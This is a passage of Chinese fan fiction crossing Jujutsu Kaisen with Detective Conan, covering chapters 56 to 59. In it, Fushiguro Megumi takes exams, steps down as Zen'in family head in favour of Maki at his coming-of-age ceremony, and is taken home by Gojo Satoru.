家入硝子看着臭着一张脸坐在她办公室里的五条悟,无语地问:“还在不高兴?惠君不是都说了绝对不会留在禅院家了吗?” “不是因为那个!”五条悟深深地叹了口气,惆怅地说,“只是发现惠突然长大了,我只是进了「狱门疆」两个月就缺失了惠的很~长~一段成长时光!” 惠就算要成为咒术师也应该是在他的教导下成长,被他带着完成第一次任务,看他一点点从被咒灵吓到到淡定地袚除咒灵,给惠拍很多可以作为成长经历的照片…… 结果现在都错过了! 五条悟躺在家入硝子的沙发上长吁短叹,叹得家入硝子心头火起:“你在我这儿叹气干什么?又不是我让惠去禅院家的!” 五条悟掀起眼罩,看了家入硝子一眼,慢吞吞地说:“硝子,你的黑眼圈越来越重了,脾气也越来越暴躁,马上就要变成喷火龙了。” 家入硝子翻了个白眼:“我要是变成喷火龙,第一次先对你下手!” 五条悟从兜里摸出颗糖塞进嘴里:“我会还手的。” “你还吧。”家入硝子漠然地说,“能够永眠也挺好的。” “不要这么颓废嘛,硝子!”五条悟鼓励她,“再忍一忍,最忙碌的时候马上就过去了。” “唉……你去哪里?”家入硝子看着五条悟腾地一下站起身,纳闷地问,“你今天不是没任务吗?” “去看惠祓除咒灵啊!”五条悟理直气壮地说,“虽然不是惠第一次袚除咒灵,但我也想去看看。” 第56章 合作事宜在御三家会议通过后, 具体接洽被五条悟揽过去丢给了双方都信任的七海建人,他自己依旧奔赴在解决「死灭洄游」的第一线。 伏黑惠在好不容易适应了自己禅院家主的身份之后,开始准备自己的升学考试。 三月樱花盛开, 在咒术师们的通力合作下, 东京终于再次恢复了运转。 位于千代田区内的帝丹高中是东京第一批恢复教学的学校。 鉴于很多学校和学生的生命安全出了问题,东京以警察厅和警视厅为中心重组的政务机关与帝丹学校商议后宣布只要是在校生都可以参加帝丹学校举办的考试,学籍在别的学校也没关系, 依旧承认考试成绩有效。 但考试的学生大部分依旧是帝丹学校的本校生, 心中有数的人都不由叹息,这次浩劫东京人口损失惨重, 直接从中心都市变郊区了。 伏黑惠从京都跑回来考试, 出卷老师自己也知道现在是什么状态, 卷子的难度比起上一次期末考试还有所降低, 只有基础知识, 没有什么难点。 咒灵肆虐,行人寥落, 但樱花却依旧开得正好。 伏黑惠在成为禅院家主后难得换上常服,在樱花树下和伏黑津美纪见面, 顺便感谢毛利兰这段时间对姐姐的照顾。 毛利兰连忙客气起来:“津美纪也帮了我很多。” 工藤新一站在旁边, 打量着伏黑惠。嗯, 因为津美纪担心自己弟弟只报喜不报忧, 拜托了毛利兰拜托工藤新一帮忙看看伏黑惠是不是真的过得很好。 知道伏黑惠在咒术界的地位的工藤新一:…… 行吧,反正跟咒术界谈判的事和他这个侦探没什么关系, 他也有好久没见过禅院惠这些咒术师了。 短暂的寒暄之后,伏黑惠在津美纪的强烈要求下答应留下来跟他们一起吃饭。 现在吃饭当然没办法去饭店,伏黑惠第一次拜访了工藤宅。 ——是工藤新一提议的,因为工藤宅的客厅更大一些。 一行人从帝丹高中往工藤宅走, 毛利兰和伏黑津美纪在前面兴致勃勃地讨论着今天的菜单。 工藤新一在后排和伏黑惠并肩而行,问:“帝丹学校应该都会按时开学,惠君会回来上学吗?” 伏黑惠摇了摇头:“我和学校说好了,学籍保留,只要按时回来考试就可以。” 考试通过就能按部就班地升学毕业考学,学校也考虑到了现在的情况大家不敢出门,选择远程授课的需求。 工藤新一问:“咒术界那边还是很乱吗?” “悟先生回来之后就没事了。”伏黑惠说,“现在只是在处理「死灭洄游」的遗留问题。东京主要就是咒灵,等把咒灵和诅咒师都解决得差不多了之后就没事了。” 这倒是和工藤新一从警视厅得来的消息差不多。这段时间,警视厅和警察厅的人倾巢而出,配合着咒术师进行清理行动,也算是见识到了这些咒术师的本事。 工藤新一好奇地问:“咒术界最后决定怎么处理这些人?” “死刑。”伏黑惠不太在意地说,“他们本来就是死了的人。” 工藤新一沉默了一会儿,似乎明白降谷先生、目暮警部他们一致拒绝自己插手的原因了。 伏黑惠他们这些没毕业的学生目前主要负责袚除咒灵,而毕业了独当一面的咒术师们除了咒灵还要杀死诅咒师。 在表露了友好之后,现在是他们该露露胳膊,展示武力的环节,让普通人明白咒术师不好惹了。 钉崎野蔷薇手里拎着一把锤子,手里一把钉子,撒出去如漫天花雨,这是她在「死灭洄游」里领悟的群攻击。 ——另一只手里还拎着一个已经晕过去的大男人。 她走出任务地点后,在拉起黄线的边界徘徊的警察立刻围了上去:“钉崎小姐!” 钉崎野蔷薇把人扔给警察:“他是被咒灵伤的,得送到家入老师那里。” 高木警官手忙脚乱地扶住昏迷的人,再立正行礼:“是!” 禅院真希这边是警视厅的人跟着,五条悟这边就是降谷零亲自出马了。 跟基本固定在东京的东京校学生们不同,五条悟这样满日本跑的人,有个警察厅的人跟着的确更方便。 五条悟执行任务的时候没意识到太大的不同,这种没意识到就已经说明很多事了。 跟普通咒术师有来有回的炫目打斗不同,那样的战斗会让人啧啧称赞,而五条悟的战斗就是摧枯拉朽地平推,让人觉得咒术师和普通人简直不是同一个物种。 五条悟回到车上的时候,车里空调的温度还没散。降谷零重新发动汽车,心情复杂。五条悟做任务的大部分时间都是在路上浪费的。只要警方这边能找到人,五条悟杀人的速度比杀鸡还快。 五条悟坐在车子后座,兴致缺缺地看着窗外萧条的街道,郁闷地说:“好想吃喜久福……” 降谷零谨慎地说:“如果您不嫌弃的话,我也会做一些甜品。” 警方在调查五条悟的时候就从银行卡账单里发现五条悟多次出入甜品店。降谷零自信厨艺不错,主动请缨来跟五条悟打交道也有这方面的优势。 “欸?真的吗?”五条悟的嘴角微微勾起,黑色眼罩挡住了他的眼睛,看不出他的神色,听声音倒是挺高兴的。 降谷零每次看到五条悟戴眼罩都会奇怪他的视野。虽然知道这跟他的术式相关,但还是觉得很奇怪。 降谷零不动声色地微笑着说:“我对厨艺还是有些自信的。” “听起来倒是不错。”五条悟懒洋洋地应了一句,转而好似开玩笑地问,“零君跟在我身边还有时间做饭吗?伊地知之前总跟我抱怨没空,肯定是偷懒了吧!” 降谷零眼也不眨地说:“伊地知先生身兼数职,比我忙碌也是理所应当的。” 伊地知洁高是五条悟难得信任的人之一,所以五条悟把他当做耳报神,留在了东京校。 说到东京,五条悟看了看日期,拿出手机发了条消息。 “滴滴”两声轻响,伏黑惠拿出自己的手机,看着五条悟发来的邮件。 【惠,今天考试怎么样?题目难吗?我现在在青森解决结界,惠有没有想吃的特产?——悟先生】 伏黑津美纪担心地问:“惠,你又有事要走了吗?” 伏黑惠抬眼看到津美纪藏着失落的表情:“没有,是悟先生问我们有没有想吃的青森特产。” 津美纪松了口气,轻声细语地说:“我没有什么想吃的东西,让悟先生安全回来就好了。” “嗯。”伏黑惠正在用手机查询青森有什么特产,想要什么可以不让五条悟帮忙带,但不想要的一定要说明白,决不能让对方带回来捉弄人! 五条悟很快在车上收到了伏黑惠的回信。 【考试没什么难度,应该会顺利通过。我和津美纪没有什么想要的青森特产。您感兴趣的话可以去尝尝青森很有名的苹果派。——惠】 伏黑惠收起手机,希望苹果派能满足五条悟的胃口,不过青森也没有什么适合恶作剧的特产,应该没问题的。 工藤新一好奇地看着伏黑惠的神色变化:“惠君和五条先生关系很好啊!” “还好吧。”伏黑惠眼看前方,目不斜视地回答。 到了工藤宅门口,一个守在门前的和服男人朝着伏黑惠鞠了一躬,将手里的两个大袋子放下,自己离开了。 “欸?等等!”工藤新一试图叫住对方,然后看到那个人如同一个短跑奥运选手一样一骑绝尘地扬长而去。 他只能看向伏黑惠。 “是我让人买的食材,今天中午用的。”伏黑惠知道禅院家不缺物资不代表现在别人家不缺,上门吃饭还是应该买点什么。 工藤新一和毛利兰还要推辞的时候,津美纪和伏黑惠已经拎起食材进去了。 “我还可以做一些五条先生喜欢的甜品带给他。”津美纪在厨房清点着,高兴地说,“惠带过来的材料足够的。” 毛利兰惊呼道:“食材种类真的很全,不知道惠君是从哪里买的?” 面对两双充满希冀的眼睛,伏黑惠只能回答:“……对不起,我不知道。”他让禅院家的人去买的。 伏黑惠在白天过得还算愉快,但等到了晚上就遭到了报复。 五条悟回来的时候还是给他带了青森特产。 伏黑惠看着手上的‘荒霸吐’雕像,满脸写着无语。 五条悟煞有其事地说:“惠不是刚考完试吗?我去神社里给惠求的。” 伏黑惠欲言又止止言又欲,最后憋出来一句:“审美好差。” “哈哈哈哈!”五条悟笑得眼泪都要出来了,他抹了抹眼角溢出来的液体,看着脸色阴沉的伏黑惠,眼中闪烁着欣慰和怅然,“一眨眼惠就已经高二了。” 伏黑惠从小就有将来要养自己和姐姐的自觉,学习很努力,在国中不仅是校霸还是学霸,到了高中更是老师钦点的可以冲击东大的苗子。 唔,虽然现在东大已经被咒灵冲击得七零八落,但顶尖学府的身份还在,就是不知道津美纪大学打算考哪里。 伏黑惠也正好要跟他说这件事。他把‘荒霸吐’娃娃放进自己的影子里:“悟先生,我希望津美纪能出国留学。” 五条悟没有问原因,无非是为了津美纪的安全。他问:“津美纪同意吗?” 伏黑惠郁闷地摇了摇头。 “那悟先生也没有办法啊!”五条悟无辜地说,“我只是个只管付钱的资助人而已。” 第57章 五条悟在对待两姐弟的时候相当一碗水端平, 绝不会在明面上偏爱太过。 而且他相当尊重两个人的个人意愿,当初伏黑惠说不想当咒术师,五条悟二话没说就同意了。 现在津美纪想继续在国内上大学, 五条悟也不可能独断专行, 特意抽空去见了伏黑津美纪一次,把特产也给津美纪送了一份。 伏黑惠:……行吧,虽然雕像有点丑, 但也的确算有特色。 伏黑津美纪对五条悟的到来也很是惊喜:“五条先生已经忙完了吗?” “工作从来没有做完的一天, 津美纪不用担心这个。”五条悟掏出青森特色小雕像,嘴里还配上了“当当当当”的音乐, “这是我上次去青森出差的时候带回来的特产!” 伏黑津美纪习以为常地接过礼物:“谢谢五条先生。惠那个也跟我一样吗?” “是啊, 惠可是很嫌弃地瞪了我。”五条悟佯装委屈地说。 伏黑津美纪微笑着说:“虽然惠有时候会这样, 但每次都会把礼物好好收起来的。” 姐弟两个人各有一个小抽屉里摆满了全国各地的特色物品, 有时候连国外的也有, 都是五条悟出差带回来的。 有的外貌虽然不尽人意,但重要的是里面蕴含的心意。 五条悟问:“惠不会把难看的偷偷扔掉吗?” 伏黑津美纪笑着说:“不会的, 惠很在乎五条先生送的礼物。” 两个人寒暄了几句,说到津美纪这段时间的生活, 说到伏黑惠, 说到刚刚过去的考试, 说到未来的职业生涯规划。 伏黑津美纪连提都没提出国留学的事, 只是说:“老师说,我们升学的时候东京的学校不一定能恢复教学秩序, 建议我们把目标放到关西的大学。我想考京都大学。” 五条悟已经明白伏黑惠为什么直接把津美纪的学校目标定到国外了。跟东京不同,京都是御三家的大本营,如果津美纪过去,可能会被禅院家的人盯上。 ——尤其是将来伏黑惠打算放弃禅院家主的位置。 但五条悟有办法。 他说:“我对津美纪的目标倒是没有意见, 但惠未来不一定会留在京都。” 伏黑津美纪脱口而出:“真的吗?!” “真的。”五条悟垂下眼睛,认真地看着伏黑津美纪,“我来跟津美纪说,津美纪应该相信了吧?” 伏黑津美纪的确大大地松了口气。虽然之前伏黑惠也这么说过,但跟弟弟被强行分开给了她很大的阴影,总是担心伏黑惠在说谎让她安心离开。 五条悟问:“现在津美纪知道惠将来不会留在京都了,要不要考虑换个目标?” 伏黑津美纪思虑深重:“我知道惠担心我的安全,但我不是咒术师,也永远不可能是咒术师,难道我出国之后就一直不回来了吗?” 她不愿意。这里是她的家,有她的亲人和朋友。 “惠将来会上什么学校呢?” “不知道,惠没有告诉我。”五条悟即答,“津美纪去问的话,惠也不会说的吧。” 伏黑津美纪有点无奈地说:“我知道惠不想让自己的选择影响我,但我们是姐弟啊!” 五条悟赞同地点点头:“惠就是这么固执。” “五条先生可以告诉我,为什么惠不想让我去京都大学吗?”伏黑津美纪认真地问,“除了想让我出国之外的理由。” 五条悟看着伏黑津美纪恳切的表情,感慨地说:“津美纪还真是了解惠。” “当然了,惠可是我的弟弟。”伏黑津美纪露出了自豪的表情。 五条悟也没有隐瞒她:“津美纪知道惠现在为什么在京都吧?这就是理由。” “……我明白了,我会慎重考虑的。”伏黑津美纪严肃地点点头。 “太好了,这样我也能跟惠交差了!”五条悟做出一副夸张的欣慰表情。 后来津美纪给伏黑惠打了电话,表示她不想出国留学,但是把目标大学换成了名古屋大学。 伏黑惠还是有点担心伏黑津美纪的安全,但对方已经远离了咒灵繁多的东京和保守势力浓厚的京都,不想离开国内的态度又很坚定,伏黑惠只好默认。 在这期间,伏黑惠也按部就班升级成了一级咒术师。 东京校和京都校的咒术师们建立了良好的协作关系。姐妹交流赛因为太忙停办了一期,伏黑惠十七岁的那一期,他作为京都校旁听生去了,只是没参赛,但是见了东京校和京都校的新生。 顺便说,这两年两所学校的新生都有所增加,除了推荐入学的传统入学方式之外,现在发现自己有咒术天赋的青少年还可以找到当地警所,由警所向上申请至警察本部,就可以找到负责当地的咒术师确认是否有咒术天赋,有入学意愿的话就可以选择入学学校了。 咒术师人数有限,目前按照一级行政区分布在警视厅和各个警察本部,接受警方邀请,但也有不受地域束缚的自由咒术师。咒术师和警察不是一个系统,而是归属于总监会改造而成的咒术协会。 咒术评级也从推荐-考核制变成了申请-复核制,咒术师不用担心没有推荐人被卡级别,但考核一定要认真考核,毕竟评级不止影响待遇,还会影响生命安全。 袚除咒灵时按照地域,首先匹配同等级咒术师,其次是高等级咒术师,再次一等的选择是低一级的咒术师,咒术师比咒灵等级低时可以选择组团前往或者寻求其他地区高等级咒术师的帮助。 现在咒术师的存在也不用掩掩藏藏,五条悟领头以御三家的名义建了个实名制咒术网站,以供大家的信息交流。 虽然网站功用还比较简陋,如同二十年前的贴吧论坛,但也是咒术师迈向现代化的第一步。 一晃眼,伏黑惠马上就要十八岁了。 这代表着他正式成年。之前他在礼节上已经是板上钉钉的禅院家主,但有一些财产,是他年满十八岁之后才能动用的。 这两年伏黑惠和禅院家的主要矛盾集中于伏黑惠不愿意去京都校上学,而是在帝丹高中升了高三。但伏黑惠也几乎同时拿下了一级咒术师的评级,想挑刺的禅院家人也没话可说。 原本伏黑惠应该在十八岁的成年礼上正式拿下禅院家的掌控权,甚至不会起什么波澜,但伏黑惠自己不愿意。 咒术界日益平静,跟普通人的合作也走上了正轨,伏黑惠认为自己可以功成身退了。 至于禅院家主的位置,同为一级咒术师的禅院真希完全可以胜任。 在他流露出这个意思之后,禅院家的人都炸了。长老们的劝解一波连着一波,听得伏黑惠脸色发青。禅院直哉怒急攻心地跑来发疯,又被闻讯而来想劝伏黑惠把禅院家的财产掏空再走的伏黑甚尔揍了一顿,还被烦躁的伏黑惠威胁,如果他留下就要把禅院直哉嫁到加茂家联姻。 在床上养伤的禅院直哉险些气死,并且发出质问:为什么是跟加茂家联姻,加茂家现在也配吗?为什么不是五条家?! 伏黑惠惊呆了。 他只是随口一说。 伏黑惠恍恍惚惚地问:“……你想嫁给五条家的谁?” “我才不入赘!”禅院直哉恶狠狠地说。封建家庭长大的人对联姻没有恶感,但不接受自己入赘! 伏黑惠变了脸色,义正词严地说:“那你还是暂时不要祸害女孩子了!” 他这两年在禅院家最看不惯的就是这个,这种家风怎么还会有人愿意嫁过来啊?! 两年时间还不够改变太多,但伏黑惠相信,等真希前辈上位之后肯定能教他们重新做人。 现在伏黑惠和禅院家陷入了拉锯之中,禅院家提出伏黑惠想离开可以,但继承人要定为禅院直哉,伏黑惠礼貌地表示不可能,只能是禅院真希。 禅院真希在近两年里一直待在禅院家,跟禅院真依一起给伏黑惠做辅助,对禅院家的事务也逐渐上手,在伏黑惠的支持下也获得了一些肯定。 可笑的是她那个从没正眼看过她们的父亲,在伏黑惠说要把家主的位置交给她的时候,居然也萌生出了野心,开始让母亲过来拉拢她们姐妹。 禅院真希重重地把一叠文件放到伏黑惠的书桌上,不客气地说:“我看你就是对他们太客气了,就应该狠狠给这些反对的人一个教训!” “就是就是!”一个不应该出现在禅院家里的声音从下方传来,欢快地附和道,“惠下不去手的话,我可以帮忙代打哦!” 禅院真希木然地低下头,在伏黑惠放在书桌上的手机屏幕上看到了五条悟的脸。 “如果这样能解决问题,我倒是不介意动手。”伏黑惠冷静地说,“但是暴力镇压的效果只有一时,等我走了之后,他们还是会反对真希前辈。” 五条悟在视频另一边毛遂自荐:“惠不用担心,有我在!” 伏黑惠白了他一眼:“您以前面对总监会的时候也没有使用暴力啊!” “是有这方面的考虑啦,毕竟我也不能一直长生不老嘛。”五条悟轻描淡写地说,“不过惠也不要小看真希。” “我没有,真希前辈私下里跟他们切磋我都没有管过。”伏黑惠理直气壮地说。咒术师看重实力,禅院真希自己要是能一个个把反对的人都打服也不是不可以。 禅院真希“你要不要先说明一下,你们两个在干什么?” “欸,我们在聊天啊!”五条悟唉声叹气地说,“我现在又不能随时跑到禅院家去找惠,只能打视频聊天了!”他善解人意地看着伏黑惠,“惠要处理文件没时间的聊天的话,开着视频让我看看就好,不说话也没关系。” 他以前有空就会去琦玉和东京看伏黑姐弟,现在津美纪单独一个人,他也不好总是往那边跑。惠又在禅院家,五条悟身为五条家主更不能频繁跑过去了。 最开始不能着家的忙碌阶段过去后,五条悟超级不习惯地给伏黑惠打电话撒泼打滚,说他是孤单寂寞的空巢老人。 结果就是两个人习惯了有空的时候就这样挂着视频聊天,其实也聊不了很多话,更多时候是各忙各的,偶尔冒出一句话来,反正五条悟不缺这点电话费。 禅院真希听完之后对这种相处方式大为震撼,她跟自己的双胞胎妹妹都没到这个地步,面露嫌弃地看着五条悟:“你是变态吗?” 伏黑惠用习以为常的姿态,气定神闲地说:“悟先生只是无聊而已。” 第58章 禅院真希不想懂。 她不明白五条悟为什么无聊就要盯着伏黑惠看, 反正她无聊的时候不会盯着真依看。 五条悟试图解释自己不是变态:“因为我和惠习惯了啊!我以前经常会去看惠,但现在惠在禅院家我不能经常去,所以才用视频嘛!如果惠现在在家里, 我们就可以直接待在一起, 不需要视频了。” 禅院真希吐槽道:“这听起来更变态了!” 五条悟说:“真希你不能盯着真依看是因为真依不愿意吧,惠又没有不愿意!” 禅院真希:…… 她看向伏黑惠:“家主,你就听他这么说?!” 伏黑惠不想参与他们的争论, 而且的确不觉得五条悟说得有什么问题, 于是茫然地看着禅院真希。 禅院真希:…… 她很少这么无语,真的。 “……算了。”禅院真希不关心他们在玩什么play, 不理解但尊重, “这是今天要处理的事情, 你看看没什么问题就盖章, 我好拿走。” 她可是要给真依建立可以安心的居所的人, 现在是关键时刻,她没时间去探究这两个人在玩什么。 伏黑惠垂下长长的睫毛, 从文件堆上面拿了一份打开看看,没问题就盖章, 有问题就找禅院真希商量修改, 改完然后盖章。 有时候五条悟也会插两句话, 指点他们该怎么做。大多数时候, 这个电话另一边的男人还真不太符合人设地保持了沉默。 因此禅院真希抱着所有处理完的文件打算走的时候,一低头, 发现视频电话居然还通着:“悟,你还在啊?!” 电话另一边的五条悟打了个哈欠:“真希,好过河拆桥啊!” 伏黑惠说:“真希前辈说得对,您也该去休息了。” “惠~”五条悟睁大他困倦的眼睛, 仿佛被抛弃了一样看着伏黑惠。 伏黑惠不为所动地说:“您明天不是还要出差吗?” 五条悟振振有词地说:“就是因为明天又要出差,今天才要想多跟惠待一会儿啊!” 伏黑惠无奈地说:“还是早点休息吧。” “明天在车上睡也一样。”五条悟问,“惠不想跟我多聊一会儿天吗?” 伏黑惠有理有据地说:“您明天在车上聊天不也一样吗?在车上睡觉您又要抱怨脖子疼。” “欸~~”五条悟一咏三叹,“不要嘛~~” 伏黑惠冷酷地说:“反正我要吃饭了。您有事吃完饭再打过来。” 五条悟抱怨道:“我们难道不能开着视频一起吃饭吗?” 伏黑惠说:“不能,我不想隔着手机屏幕看您夹着菜在我面前晃,很幼稚!” 被‘幼稚’打击到的五条悟:“我以为你会开心呢……” “为什么会开心啊?”伏黑惠无语地说,“就算您再怎么晃我也是吃不到的。” “但我有描述口感给你啊!”五条悟有点蔫蔫地说,像是送了死老鼠做礼物反而被骂了的猫。 伏黑惠在长久的相处中已经习惯了五条悟的作妖尝试,冷静地说:“您真的这么想跟我分享,下次一起出去吃饭的时候再分享吧。” “好吧。”五条悟勉强被说服了,“那明天我再给惠打电话,拜拜~” 伏黑惠挂断了电话,给手机充上电,看向一直没走的禅院真希,平静地问:“真希前辈,你还有什么事吗?” 禅院真希高深莫测地看着他:“你怎么知道他明天要出差?” 伏黑惠莫名其妙地回答:“悟先生之前自己说的。” 禅院真希一脸‘我听到了什么’的表情,怀疑人生地问:“他还会跟你报备行程?!” 伏黑惠不明白问题在哪里:“一直都会啊!” 禅院真希深深地看了伏黑惠一眼,当晚就把八卦分享给了东京校的同学们,获得了无数‘呐喊’表情包才满意地确认果然她没有问题,是那两个人有问题。 对于伏黑惠和禅院家来说,伏黑惠的十八岁都是一个关键节点。 如果禅院家的人不能在伏黑惠十八岁前说服他继续做禅院家主或者把家主之位交给禅院直哉,那么等伏黑惠十八岁的时候就能强行执行了。 ——就像当初禅院直毘人在遗嘱里把禅院家交给伏黑惠也没人拦得住一样。 而伏黑惠绝不会把禅院家交给禅院直哉,以禅院直哉的性格,对方做了禅院家主,他做普通人的梦想肯定无法达成,绝对会一直被对方骚扰的! 所以只有禅院真希! 禅院真希有资历、有实力、有血脉、有伏黑惠和五条悟的支持,除了‘天与咒缚’的体质之外简直是最适合成为这一代禅院家主的人。 但‘天与咒缚’又不妨碍她已经是一级咒术师了。 在禅院家的长老眼中,伏黑惠固执己见的样子像极了五条悟的独断专行,估计没少在心里骂五条悟带坏了他的家主。 禅院扇作为禅院家的长老毫不犹豫地导向了伏黑惠这边。当初他认为自己各方面都不输给禅院直毘人,之所以竞争家主之位的时候输给了对方就是因为两个女儿不争气,都没什么咒术天赋,现在有机会‘拨乱反正’高兴还来不及。 ‘天与咒缚’的体质虽然让人担心,但禅院甚尔是‘天与咒缚’也不影响他生下「十种影法术」。 随着伏黑惠的十八岁生日逐渐逼近,禅院家上上下下都感觉到了时间的紧迫感。 尤其是禅院家给自家家主举办成人礼的当天,五条悟拿着请帖大摇大摆地进了禅院家,强烈要求自己来为伏黑惠举办“加冠之仪”。 禅院家的人激烈反对,奈何伏黑惠率先倒戈。 让悟先生来做这件事不是很正常吗?没人比他更有资格了。 ——伏黑惠语。 禅院家人:…… 禅院甚尔那完蛋玩意儿这时候跑哪儿去了?!时不时回来大人,现在正是需要他出现的时候他又不出现了! 五条悟得意地看了他们一眼。他可是特意先找了伏黑甚尔问他来不来了,虽然这个亲爹很混蛋但毕竟是亲爹,这个type五条悟自己就很熟悉。 他和他爹也不熟。当初他的成人礼是上一任五条家主主持的,但谁让禅院直毘人还在昏迷呢~ 五条悟很兴奋,唇枪舌剑、舌战群雄,也没人真的敢把他惹急,毕竟打不过。 观礼的禅院姐妹在前排一众气得快急眼的禅院家人中格格不入。其他客人静默地做着装饰品。 最后站累了的伏黑惠和听烦了的禅院真希对视一眼,达成共识。 禅院真希抢了侍者的托盘递到五条悟面前,伏黑惠抬头用眼神催促五条悟快点! 五条悟意犹未尽地闭上嘴,认真地给伏黑惠戴冠帽。 伏黑惠抬眼看着五条悟。他很少见到五条悟脸上出现这么肃穆的表情,庄重、认真,旁边其他禅院家人的反对声音都减小了。不由得,伏黑惠对这个仪式的在意都跟着上升了一点。 五条悟举行完仪式,看着伏黑惠的眼神说不上是欣慰还是惆怅:“从今天开始惠就是大人了。” 伏黑惠有点紧张地眨了眨眼睛,鸦羽般的睫毛扑闪着,露出一双翠绿的眼睛。 五条悟注视着伏黑惠,在心里感慨,虽然跟伏黑甚尔长得很像,但他家惠要可爱多了! 他抬起眼,看向远处的围墙上,伏黑甚尔站在那里。两个人冷淡地对视了一眼。伏黑甚尔在其他人发现之前翻身跳下围墙,走了。 五条悟收回目光,对着用询问的眼神看着他的伏黑惠摇了摇头,表示不用在意。 原本这个仪式中还包括一系列冗长的后续,但伏黑惠表示不用这么麻烦了,在这个正式表示承担社会责任与家族义务的仪式上,宣布了自己卸去家主之位,选定了禅院真希为继任者的消息。 禅院家人:??? 虽然早有心理准备,但这是不是太突然了?! 长老们拦都没拦住,伏黑惠这么一宣布,事情已成定局,急得他们顿足捶胸。 禅院甚一气急败坏地说:“家主大人不认为自己太任性了吗?!” 五条悟眯起了眼睛,语气骤然冷淡下来:“任性?这个词好像一般都是你们用来形容我的。” “五条家主,这是我们禅院家内部的事。”禅院扇不满地看了禅院真希一眼,显然对她刚才的行为不满意,他们可不想再来一个跟禅院惠这么向着五条家的家主了。 “我对禅院家的事没兴趣,是你们先来招惹我的小孩!”五条悟好似在开玩笑似的,眼中却满是冷意,“你们这群偷腥猫,抢了别人家的孩子就给我还回来啊!” 禅院甚一气得仰倒:“什么叫抢?禅院惠他流着禅院家的血……” “那又怎么样?!”五条悟理直气壮地打断他,“但惠是我先找到的,先到先得!” 伏黑惠木然地听着他胡说八道。 五条悟正在撸胳膊挽袖子,准备实行武力辗压:“我看你们是敬酒不吃吃罚酒。好啊,我今天就要带惠回家,我看你们谁能拦住我?!” 伏黑惠:嗯?! 他震惊地看向五条悟:今天?! 五条悟转头朝着伏黑惠伸出手:“惠,我们回家。” 伏黑惠下意识把手交给了他。温热的手掌握住他的手,伏黑惠一个激灵,这才想起来看向禅院真希。 禅院真希翻了个白眼,意思是:你们不要管我死活! 事已至此,伏黑惠被五条悟拉着手,镇定地说:“我已经把家主的印章和忌库钥匙都交给真希了,她就是下一任的禅院家主。我不会改变主意了。” 作者有话说:其实一开始这一章结尾的剧情设计不是这样,但是写着写着觉得这是五条悟能干出来的事 第59章 五条悟就这么从成年礼上把伏黑惠带回了自己家。 别说禅院家的人和宾客, 伏黑惠自己都懵了。 “悟先生?”伏黑惠被五条悟拉着往外走,疑惑地抬头看着他。 “怎么了,惠?”五条悟的脚步放缓了些, 垂眸看向伏黑惠。 伏黑惠张了张嘴, 原本想问他这么急促是有什么事吗?但最后只说出一句:“我的行李还没收拾……” “有什么惠舍不得要拿走的东西吗?没有的话再买新的就行了。”五条悟用警告的目光扫过追上来的禅院家人,补充道,“如果有什么惠想留下的东西, 告诉真希, 让她帮你拿出来好了。” 伏黑惠抿了抿嘴角,回过头, 跟禅院真希对视了一眼, 像是放下了什么枷锁一样, 勾起了嘴角:“好。” 五条悟的脚步猛地一顿, 讶异地看了伏黑惠一眼:“我还以为……” “什么?”伏黑惠步履轻松地跟上五条悟的步伐, 抬眸看着他。 五条悟说:“我还以为惠不会同意。” 伏黑惠点了点头:“这样做很不负责任。” 五条悟皱了皱眉:“这本来就不是惠的责任!” 伏黑惠摇了摇头:“我应该等真希前辈适应了之后再走,因为我不想再因为需要帮忙回来。但是……”他看着五条悟, “我突然不想再留下来了。” “那就不留下来!”五条悟掷地有声地说,他弯起眼睛, “惠要相信真希的能力。” 他带着伏黑惠跨出禅院家的大门。伊地知洁高的车等在门外, 看到一同出来的两人十分惊讶, 但还是本能地听从了五条悟的命令, 开车离开。 “我知道。”伏黑惠整理了一下身上的衣服,把沉重的帽子摘下来, 低头看了看自己身上繁复的和服,“这套衣服要还给禅院家吗?” “当然不用啊,这是我买了让真希换进去的。”五条悟理直气壮地说。 伏黑惠愕然地看着他。 五条悟振振有词地说:“这可是惠的成年礼要用的,当然是我来买啊!” 伏黑惠低头把袖子上的褶皱抚平, 语气听起来很平静:“这样啊……” 但五条悟看着伏黑惠的黑发间露出的红红的耳尖,露出了一个笑,怕自家小孩恼羞成怒还不能笑出声,只能仰着头对着车顶笑。 伊地知洁高偶然看了一眼后视镜,不明白为什么五条悟要突然扮演一颗风中摇曳的蒲公英。 伏黑惠在衣服里摸了摸,掏出自己的手机,看到了禅院真希的邮件。 他有点愧疚地打开邮件,打算给禅院真希道个歉。虽然这个离开时间不在他的预料之内,但的确是他同意跟悟先生走的,不然悟先生也不会硬是带走他。 伏黑惠点开禅院真希的邮件,已经做好了挨骂的准备。 【别小看前辈啊!——禅院真希】 伏黑惠微微一愣,把措辞里的道歉内容换成了道谢。 禅院真希的邮件里带着早有预料的味道,自从五条悟让她替换伏黑惠的成年礼服的时候,她就猜到了五条悟要搞事。 东京校的人还打了赌,赌五条悟能不能忍到宴会结束。赢得一大笔钱的禅院真希决定不跟两个人计较了。 禅院真希回复之后,禅院真依的新邮件也随之而至。 这次邮件里的确有骂人内容,不过骂的是五条悟。 禅院真依表示五条悟就不能再等等,晚上再悄无声息地把伏黑惠偷走吗?非得在大庭广众之下动手,现在禅院家感觉尊严被五条家挑衅了,但他们又不敢对上五条悟,只能抨击禅院真希吃里扒外。 禅院真希是名正言顺的禅院家主,也不会惯着他们,张嘴就是谁想去五条家讨公道她都批准,然后这群人又都消停了。 伏黑惠挑了挑眉。 五条悟问:“怎么了?” 伏黑惠不以为意地说:“禅院家的人说您是故意挑衅,用这个名义找真希前辈麻烦,真希前辈推给您了。” 如果是刚进入咒术界的时候他还会担心,但现在他已经能够知道了,只要五条悟还在,那些人顶多嘴上说说,什么真格的都不敢做。 五条悟嗤笑一声:“让他们来啊,正好算算他们霸占了惠两年多的账!” “请不要用这种奇怪的措辞。”伏黑惠随口说,看向窗外,“我们现在去哪里?” “去我在东京的公寓。”五条悟晃了晃手机,高兴地说,“我给惠准备了一个大惊喜!” 伏黑惠缓缓地眨了眨眼睛:“今天的事,不是意外吗?” “唔……”五条悟沉吟片刻,“当然是意外,我本来是想晚上宴会结束之后再把惠带走的。” 他倒是不在意得不得罪禅院家,只是希望伏黑惠的成人礼更顺利一些,结果禅院家那些人居然对惠口出不逊——分明是他们先挑衅他吧?居然还倒打一耙! 伏黑惠沉默了。 五条悟会心一笑,故意问:“惠原本打算什么时候离开禅院家?” “今天晚上……但是如果真希前辈需要的话,过完年也可以,但尽量不要。”伏黑惠诚实地说。 “真希自己没问题的。”五条悟轻轻摸了摸伏黑惠的头顶,“真希比惠还大一岁,惠不用这么担心她。” 